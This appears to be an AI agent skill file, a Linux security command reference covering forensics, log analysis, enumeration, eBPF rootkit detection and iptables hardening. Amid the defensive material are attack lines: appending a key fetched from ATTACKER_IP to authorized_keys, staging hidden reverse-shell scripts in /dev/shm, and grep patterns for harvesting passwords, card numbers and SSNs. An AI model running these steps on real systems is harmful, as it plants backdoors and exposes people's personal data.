| name | linux-security-commands |
| description | Essential Linux commands for security auditing, incident response, and system hardening. Use this skill whenever the user needs to: enumerate system vulnerabilities (SUID/SGID files, writable directories), analyze logs (journalctl, grep patterns), investigate network activity (lsof, iptables), extract sensitive data (passwords, hashes, emails, credit cards), work with eBPF programs, perform file forensics (base64, xxd, dd), or harden a Linux system. Trigger this for any Linux security task, penetration testing, blue team operations, or system administration involving command-line tools. |
Linux Security Commands Reference
A comprehensive collection of Linux commands for security professionals, incident responders, and system administrators.
Quick Start
What do you need to do?
- 🔍 Find vulnerabilities: SUID/SGID files, writable directories, recent files
- 📊 Analyze logs: journalctl queries, grep patterns for sensitive data
- 🌐 Network investigation: lsof, iptables, nmap scripts
- 🔐 Extract data: passwords, hashes, emails, credit cards, SSNs
- 🛡️ System hardening: iptables rules, file permissions
- 🧪 File forensics: base64, xxd, dd, compression
- 🎯 eBPF analysis: bpftool for rootkit detection
File Operations & Forensics
Encoding/Decoding
base64 -w 0 file
echo "CIKUmMesGw==" | base64 -d
xxd -p boot12.bin | tr -d '\n'
echo -n -e "string"
File Counting & Sorting
wc -l <file>
wc -c <file>
wc -w <file>
sort -nr file
cat file | sort | uniq
File Modification
sed -i 's/OLD/NEW/g' path/file
sudo chattr +i file.txt
sudo chattr -i file.txt
Binary Operations
dd if=file.bin bs=28 skip=1 of=blob
wget URL -O /dev/shm/.rev.py
curl URL -o /dev/shm/shell.py
Compression
tar -xvzf file.tgz
tar -xvjf file.tbz
gunzip file.gz
unzip file.zip
7z -x file.7z
unxz file.xz
bzip2 -d file.bz2
Network Investigation
Process Network Activity (lsof)
lsof
lsof -p 3
lsof -i
lsof -i 4
lsof -i 6
lsof -i 4 -a -p 1234
lsof +D /lib
lsof -i :80
lsof +L1
find /proc/[0-9]*/fd -lname '*deleted*' 2>/dev/null
Process File Descriptors
ls -l /proc/<PID>/fd
readlink /proc/<PID>/fd/<FD>
cat /proc/<PID>/fd/<FD>
grep " /proc " /proc/mounts
HTTP Servers
python -m SimpleHTTPServer 80
python3 -m http.server 80
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
Curl Operations
curl --header "Content-Type: application/json" \
--request POST \
--data '{"password":"password", "username":"admin"}' \
http://host:3000/endpoint
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
curl URL -o output_file
SSH Key Operations
ssh-keyscan 10.10.10.101
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
OpenSSL Commands
openssl s_client -connect 10.10.10.127:443
openssl x509 -in ca.cert.pem -text
openssl genrsa -out newuser.key 2048
openssl req -new -key newuser.key -out newuser.csr
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl x509 -req -in newuser.csr \
-CA intermediate.cert.pem \
-CAkey intermediate.key.pem \
-CAcreateserial \
-out newuser.pem -days 1024 -sha256
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem
openssl rsa -in key.ssh.enc -out key.ssh
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
Vulnerability Enumeration
Find SUID/SGID Files
find / -perm /u=s -ls 2>/dev/null
find / -perm /g=s -ls 2>/dev/null
Find Writable Directories
find / -type d -maxdepth 10 -writable \
-printf "%T@ %Tc | %p \n" 2>/dev/null | \
grep -v "| /proc" | grep -v "| /dev" | \
grep -v "| /run" | grep -v "| /var/log" | \
grep -v "| /boot" | grep -v "| /sys/" | \
sort -n -r
find / -maxdepth 10 -user $(id -u) \
-printf "%T@ %Tc | %p \n" 2>/dev/null | \
grep -v "| /proc" | grep -v "| /dev" | \
grep -v "| /run" | grep -v "| /var/log" | \
grep -v "| /boot" | grep -v "| /sys/" | \
sort -n -r
find / -maxdepth 10 -group $(id -g) \
-printf "%T@ %Tc | %p \n" 2>/dev/null | \
grep -v "| /proc" | grep -v "| /dev" | \
grep -v "| /run" | grep -v "| /var/log" | \
grep -v "| /boot" | grep -v "| /sys/" | \
sort -n -r
Find Recent Files
find / -newermt 2018-12-12 ! -newermt 2018-12-14 \
-type f -readable \
-not -path "/proc/*" -not -path "/sys/*" \
-ls 2>/dev/null
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | \
grep -v "| /proc" | grep -v "| /dev" | \
grep -v "| /run" | grep -v "| /var/log" | \
grep -v "| /boot" | grep -v "| /sys/" | \
sort -n -r | less
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | \
grep -v "| /proc" | grep -v "| /dev" | \
grep -v "| /run" | grep -v "| /var/log" | \
grep -v "| /boot" | grep -v "| /sys/" | \
sort -n -r | less
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | \
grep -v "| /proc" | grep -v "| /dev" | \
grep -v "| /run" | grep -v "| /var/log" | \
grep -v "| /boot" | grep -v "| /sys/" | \
sort -n -r | less
Find Readable Directories
find / -type d -maxdepth 4 -readable \
-printf "%T@ %Tc | %p \n" 2>/dev/null | \
grep -v "| /proc" | grep -v "| /dev" | \
grep -v "| /run" | grep -v "| /var/log" | \
grep -v "| /boot" | grep -v "| /sys/" | \
sort -n -r
Data Extraction with Grep
Extract Emails
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
Extract IP Addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
Extract Passwords & Credentials
grep -i "pwd\|passw" file.txt
grep -i "user\|invalid\|authentication\|login" file.txt
Extract Hashes
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | \
egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{40}([^a-fA-F0-9]|$)' *.txt | \
egrep -o '[a-fA-F0-9]{40}' > sha1-hashes.txt
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{64}([^a-fA-F0-9]|$)' *.txt | \
egrep -o '[a-fA-F0-9]{64}' > sha256-hashes.txt
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{128}([^a-fA-F0-9]|$)' *.txt | \
egrep -o '[a-fA-F0-9]{128}' > sha512-hashes.txt
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
grep -e "\$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
egrep -o '\$H\$S{31}' *.txt > phpBB3-md5.txt
egrep -o '\$P\$S{31}' *.txt > wordpress-md5.txt
egrep -o '\$S\$S{52}' *.txt > drupal-7.txt
egrep -o '\$1\$w{8}S{22}' *.txt > md5-unix-old.txt
egrep -o '\$apr1\$w{8}S{22}' *.txt > md5-apr1.txt
egrep -o '\$6\$w{8}S{86}' *.txt > sha512crypt.txt
Extract URLs
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >"\t]*|www.[-a-z0-9.]+)[^ .,;\t>">):]' *.txt > urls.txt
tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex"
cat -v *.log | egrep -o "Your_Regex"
Extract Credit Cards
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
Extract Personal Identifiers
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
Extract Numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
Log Analysis (journalctl)
Basic Queries
journalctl --list-boots
journalctl -b -1 -p err -o short-iso
journalctl -u nginx.service --since="2025-06-01 01:00" --until="2025-06-01 02:00"
journalctl -u ssh.service -f | grep "Failed password"
journalctl _UID=0 --output=json-pretty --since "1 hour ago"
journalctl --disk-usage
journalctl --no-pager --since="2025-06-01" --until="2025-06-10" > system_logs.log
Cleanup (use carefully!)
sudo journalctl --vacuum-size=1G --vacuum-time=7days
Advanced Filters
journalctl --grep 'Invalid user' --case-sensitive
journalctl -k
journalctl _PID=1234 _SYSTEMD_UNIT=nginx.service
eBPF Analysis (Rootkit Detection)
Modern rootkits (TripleCross, BPFDoor) persist as hidden eBPF programs. Use these commands to detect them.
sudo bpftool prog
sudo bpftool prog dump xlated id 835 | less
sudo bpftool map show
sudo bpftool map dump id 104 | hexdump -C
sudo bpftool feature probe | less
sudo ebpfmon
What to look for:
- Programs owned by unexpected PIDs
- Unexpected
xdp or kprobe attachments
- Unsigned programs in production
- Covert sockets or credentials in map dumps
Firewall (iptables)
Reset Rules
iptables --flush
iptables --delete-chain
Basic Hardening
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
User Management
Create User
useradd -p 'openssl passwd -1 <Password>' username
Clipboard Operations
xclip -sel c < file.txt
System Utilities
Timezone
sudo dpkg-reconfigure tzdata
Package Lookup
apt-file search /usr/bin/file
Mount Virtual Disks
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd
Performance Counters
perf stat -x, -e instructions:u "ls"
Protobuf Decode
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
List ZIP Contents
7z l file.zip
Nmap Script Discovery
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb"
Quick Reference: Common Patterns
| Task | Command |
|---|
| Find SUID files | find / -perm /u=s -ls 2>/dev/null |
| Find writable dirs | find / -type d -writable -maxdepth 10 |
| Extract emails | grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file |
| Extract IPs | grep -E -o "(25[0-5]...){4}" file |
| List network processes | lsof -i |
| View recent logs | journalctl --since "1 hour ago" |
| Base64 encode | base64 -w 0 file |
| Hex dump | xxd -p file |
| Check eBPF programs | sudo bpftool prog |
Tips
- Always redirect errors: Use
2>/dev/null to suppress permission denied errors when searching
- Filter system paths: Exclude
/proc, /sys, /dev, /run, /var/log, /boot when searching
- Sort by time: Use
-printf "%T@ %Tc | %p \n" with sort -n -r for time-sorted results
- Use RAM for temp files:
/dev/shm/ is volatile and disappears on reboot
- Take evidence before cleanup: Always export logs before running
journalctl --vacuum
- eBPF correlation: Compare
bpftool prog output with expected NIC/cgroup attachments
- Grep binary files: Use
cat -v or tr to convert binary before grepping
References